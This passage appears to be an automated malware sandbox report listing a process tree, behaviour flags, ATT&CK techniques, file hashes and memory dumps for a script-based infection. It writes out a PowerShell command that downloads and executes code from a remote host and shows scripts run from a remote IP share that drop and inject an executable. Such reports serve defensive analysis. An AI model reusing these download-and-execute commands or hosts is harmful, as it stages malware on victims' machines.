1⤵
- Modifies Internet Explorer settings
PID:4560

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:796

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:704

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:3424

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s fdPHost
1⤵
PID:5068

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:5032

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:1480

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Temp1_document_03.26.zip\document_03.26.js"
1⤵
PID:2244

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\82QMTXDL\Report-26-2024[1].vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'withupdate.com/zuyagaoq')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4136
- - C:\rjtu\AutoHotkey.exe
    "C:\rjtu\AutoHotkey.exe" C:/rjtu/script.ahk
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4584
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/rjtu/
    3⤵
    - Views/modifies file attributes
    PID:3080

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Temp1_Report-26-2024.zip\Report-26-2024.vbs"
1⤵
PID:4656

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "\\170.130.55.130\share\b\document_03.26.js"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1144
- C:\users\public\vx.exe
  "C:\users\public\vx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of WriteProcessMemory
  PID:2772
- - C:\Windows\SysWOW64\ctfmon.exe
    "C:\Windows\SysWOW64\ctfmon.exe -p 1234"
    3⤵
    PID:3276

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "\\170.130.55.130\share\b\document_03.26.js"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4432
- C:\users\public\vx.exe
  "C:\users\public\vx.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of WriteProcessMemory
  PID:2648
- - C:\Windows\SysWOW64\ctfmon.exe
    "C:\Windows\SysWOW64\ctfmon.exe -p 1234"
    3⤵
    PID:4872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\09F930445D6C46BBF6B0668DC5FB01EC

Filesize
503B

MD5
e4178d8db60aed942c2a63106ccdc52f

SHA1
2ec72c3ca9496dd6e6560eb24d18926dc211e469

SHA256
c8d4e707fa0be4ee5eb7d4aac89212a7bf4863f285a045f62aa7d570bec63a09

SHA512
785eb097eff2bad15cbca77fe78f3f5ea2bddc24c15c57f60a5ff4f6bfd9de835ae402af582082cf807921224ee618dd2b110bc401910807106e627233b6246e

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751

Filesize
717B

MD5
822467b728b7a66b081c91795373789a

SHA1
d8f2f02e1eef62485a9feffd59ce837511749865

SHA256
af2343382b88335eea72251ad84949e244ff54b6995063e24459a7216e9576b9

SHA512
bacea07d92c32078ca6a0161549b4e18edab745dd44947e5f181d28cc24468e07769d6835816cdfb944fd3d0099bde5e21b48f4966824c5c16c1801712303eb6

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\09F930445D6C46BBF6B0668DC5FB01EC

Filesize
552B

MD5
2dca8c29705e47b050990e9313d5e643

SHA1
40d2081588421ed1961b2e96273835f32e2cbb3d

SHA256
96bdce160eb6037ec8363394dd9b53663495e87b66445276302834a14d932d88

SHA512
49d8378c9c2ff8e3a6e89a8e917385e96ab0fe64dd4cc3e155afc6745a9efb7b9d7c3bce55822698b524c4bb921a3fad6920b726de22da32a4df1afdd4ee38db

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751

Filesize
192B

MD5
8877846e2750880ddba10a719e11e9f7

SHA1
7ccd7bc61213eca39d5d9424a164cb0a4d2e119a

SHA256
d786a547e3ba86e4b3d2fc288c4d3c299f11c366f5f128d942a27f93ad72d788

SHA512
8ab8701008e63712a06f65b41fba92f6eaf35f66f324edf24b50a4d483832f120ecef3fa05ff5705c4557f24b3e752595da4ab1b1116ddada15b36cef0c96cd7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\YTAV2Q1Z\edgecompatviewlist[1].xml

Filesize
74KB

MD5
d4fc49dc14f63895d997fa4940f24378

SHA1
3efb1437a7c5e46034147cbbc8db017c69d02c31

SHA256
853d2f4eb81c9fdcea2ee079f6faf98214b111b77cdf68709b38989d123890f1

SHA512
cc60d79b4afe5007634ac21dc4bc92081880be4c0d798a1735b63b27e936c02f399964f744dc73711987f01e8a1064b02a4867dd6cac27538e5fbe275cc61e0a

Download Submit
C:\Users\Admin\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\AC\MicrosoftEdge\Cache\R6GX7GQT\suggestions[1].en-US

Filesize
17KB

MD5
5a34cb996293fde2cb7a4ac89587393a

SHA1
3c96c993500690d1a77873cd62bc639b3a10653f

SHA256
c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad

SHA512
e1b7d0107733f81937415104e70f68b1be6fd0ca65dccf4ff72637943d44278d3a77f704aedff59d2dbc0d56a609b2590c8ec0dd6bc48ab30f1dad0c07a0a3ee

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w5cajj5e.0t2.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Public\vx.exe

Filesize
1.3MB

MD5
3e56975127f436aa5e8a9b9c7af5eb23

SHA1
acbf171b31c25a66d7af44bf9e1f5666acaa3f2c

SHA256
7d18e238febf88bc7c868e3ee4189fd12a2aa4db21f66151bb4c15c0600eca6e

SHA512
f1a2d4dcc0531ee08c3b5e407b7e250743c15d0e2f320a9d74e933a94791d1185a9dc6f5f28b9e3bc8bbc364b3c98fc72e936c45b88279c773ea4507e24b3e9f

Download Submit
C:\rjtu\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

Download Submit
C:\rjtu\script.ahk

Filesize
55KB

MD5
e93f832ee64b07207c38479dbf3ee767

SHA1
7f4a0063a53ed2ba9c2c2e77eacea34ccfbb99f7

SHA256
dd7a8b55e4b7dc032ea6d6aed6153bec9b5b68b45369e877bb66ba21acc81455

SHA512
f46fafc946b0155ab43df99e92f5050e8967ac9528a465afc027801b20431d1c5c8f44a10c04738a995b8819f173e6cf270ab70ed352f69794cef9176f52fe51

Download Submit
C:\rjtu\test.txt

Filesize
917KB

MD5
57e19b367883bff9e4f0d905c7634827

SHA1
44afaac68c4792effefcaa63c65c55ef5d089a59

SHA256
4de0e0e7f23adc3dd97d498540bd8283004aa131a59ae319019ade9ddef41795

SHA512
dba68357c5d3427171a023919f29d8fc60905708f55acbadb24d5f4b23c355b38994dc6b8c377d6578950e499b205eeb5c9b5ae25885223c2f499e1380fc6c84

Download Submit
memory/2648-239-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/2648-255-0x0000000002180000-0x0000000002193000-memory.dmp

Filesize
76KB

Download
memory/2648-259-0x00000000022B0000-0x00000000022E3000-memory.dmp

Filesize
204KB

Download
memory/2648-240-0x00000000022B0000-0x00000000022E3000-memory.dmp

Filesize
204KB

Download
memory/2648-269-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/2772-222-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/2772-223-0x00000000021F0000-0x0000000002223000-memory.dmp

Filesize
204KB

Download
memory/2772-267-0x0000000000400000-0x000000000055E000-memory.dmp

Filesize
1.4MB

Download
memory/2772-257-0x00000000021F0000-0x0000000002223000-memory.dmp

Filesize
204KB

Download
memory/2772-254-0x00000000005B0000-0x00000000005C3000-memory.dmp

Filesize
76KB

Download
memory/3276-229-0x0000000000DB0000-0x0000000000DCA000-memory.dmp

Filesize
104KB

Download
memory/3276-224-0x0000000000DB0000-0x0000000000DCA000-memory.dmp

Filesize
104KB

Download
memory/3424-53-0x000002B5164B0000-0x000002B5164B2000-memory.dmp

Filesize
8KB

Download
memory/3424-56-0x000002B526840000-0x000002B526842000-memory.dmp

Filesize
8KB

Download
memory/3424-58-0x000002B526900000-0x000002B526902000-memory.dmp

Filesize
8KB

Download
memory/4136-143-0x00000228B0560000-0x00000228B0570000-memory.dmp

Filesize
64KB

Download
memory/4136-186-0x00000228B0560000-0x00000228B0570000-memory.dmp

Filesize
64KB

Download
memory/4136-142-0x00000228B0560000-0x00000228B0570000-memory.dmp

Filesize
64KB

Download
memory/4136-141-0x00007FFA71D80000-0x00007FFA7276C000-memory.dmp

Filesize
9.9MB

Download
memory/4136-140-0x00000228B0500000-0x00000228B0522000-memory.dmp

Filesize
136KB

Download
memory/4136-187-0x00000228B0560000-0x00000228B0570000-memory.dmp

Filesize
64KB

Download
memory/4136-185-0x00007FFA71D80000-0x00007FFA7276C000-memory.dmp

Filesize
9.9MB

Download
memory/4136-194-0x00000228B0560000-0x00000228B0570000-memory.dmp

Filesize
64KB

Download
memory/4136-161-0x00000228B0560000-0x00000228B0570000-memory.dmp

Filesize
64KB

Download
memory/4136-202-0x00007FFA71D80000-0x00007FFA7276C000-memory.dmp

Filesize
9.9MB

Download
memory/4136-166-0x00000228C8F80000-0x00000228C9142000-memory.dmp

Filesize
1.8MB

Download
memory/4136-146-0x00000228C8800000-0x00000228C8876000-memory.dmp

Filesize
472KB

Download
memory/4584-203-0x0000000003140000-0x00000000031B3000-memory.dmp

Filesize
460KB

Download
memory/4584-205-0x0000000003140000-0x00000000031B3000-memory.dmp

Filesize
460KB

Download
memory/4824-111-0x00000192D2730000-0x00000192D2731000-memory.dmp

Filesize
4KB

Download
memory/4824-0-0x00000192CB720000-0x00000192CB730000-memory.dmp

Filesize
64KB

Download
memory/4824-35-0x00000192CAAF0000-0x00000192CAAF2000-memory.dmp

Filesize
8KB

Download
memory/4824-112-0x00000192D2740000-0x00000192D2741000-memory.dmp

Filesize
4KB

Download
memory/4824-16-0x00000192CC000000-0x00000192CC010000-memory.dmp

Filesize
64KB

Download
memory/4872-246-0x00000000003D0000-0x00000000003EA000-memory.dmp

Filesize
104KB

Download